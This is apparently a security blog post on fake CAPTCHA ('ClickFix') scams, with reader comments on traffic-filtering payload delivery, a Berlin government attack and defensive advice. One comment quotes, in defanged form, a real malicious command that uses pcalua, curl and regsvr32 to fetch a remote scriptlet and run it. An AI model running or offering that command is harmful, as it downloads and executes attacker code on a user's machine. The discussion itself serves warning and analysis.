Fake CAPTCHA Scams
New variant of an old scam: Use the framing of a CAPTCHA to get an unsuspecting user to download and run a malicious program.
Comments
Daniel Jones • September 16, 2026 8:30 AM
I recently came across one in an investigation and yes it did run an active TDS that fingerprinted users device and network information and then actively routed to different payloads to different devices. Datacenter based IP’s were nearly always served a clean benign page which most of todays URL scanners use datacenter based IP’s. However if the user was on a residential or mobile IP, they’re served the actual payload. If the TDS fingerprinted as an bot/scanner it would send you to a monetization domain.
I just published the full article and whitepaper on this investigation, A real Carnival Cruise Line email was serving customers malware, you’ll actually see some screenshots of your fake CAPTCHA on it.
_Jim • September 16, 2026 8:49 AM
Experienced this little script (below) as part of a captcha on a well-known website in the form of a pop-up that requested the “Windows Key + R etc” routine be performed.
This was what was to be ‘pasted’ and executed (can I post this here for forensic purposes?)
pcalua[dot]exe -a cmd -c “/c curl[dot]exe -s https://193-233-126-53 [dot] sslip [dot] io/d3f8a142c9/verification[dot]sct -o %TEMP%\v[dot]sct&®svr32 /s /n /u /i:%TEMP%\v[dot]sct scrobj[dot]dll”
‘[dot]’ or ‘ [dot] ‘ replaces “.”
Anonymous • September 16, 2026 9:49 AM
You’re a little late to this.
Research the terms “ClickFix” and “FileFix” for more information.
KC • September 16, 2026 10:04 AM
“First phishing, then a fake captcha and a terminal command – this is how the cyberattack on Berlin proceeded, according to initial analyses.”
The Berlin Senate is recovering from a ClickFix variant attack initiated in August 2026.
https://www.heise.de/en/news/BSI-explains-first-attack-vector-on-Berlin-authorities-11444212.html
https://en.wikipedia.org/wiki/2026_ransomware_attack_on_Berlin
Perrystate • September 16, 2026 10:19 AM
The clever part of this scam is that it turns a familiar security check into the attack itself. People are so accustomed to completing CAPTCHAs that they may follow instructions without questioning them. A useful rule of thumb: if a CAPTCHA asks you to download software, open a terminal or run a command, close the page immediately. A genuine human-verification check shouldn’t require any of those actions.
Subscribe to comments on this entry
Leave a comment
Sidebar photo of Bruce Schneier by Joe MacInnis.
Q • September 16, 2026 8:16 AM
I’ve never seen the fake CAPTCHA yet. but I wonder if the code is clever enough to sniff the user agent and only offer it to Windows users?
Since I use Linux, and I don’t fake the user agent string, perhaps I won’t ever see one of these things. When I press the required Win+R I see the application finder, not a box to run commands.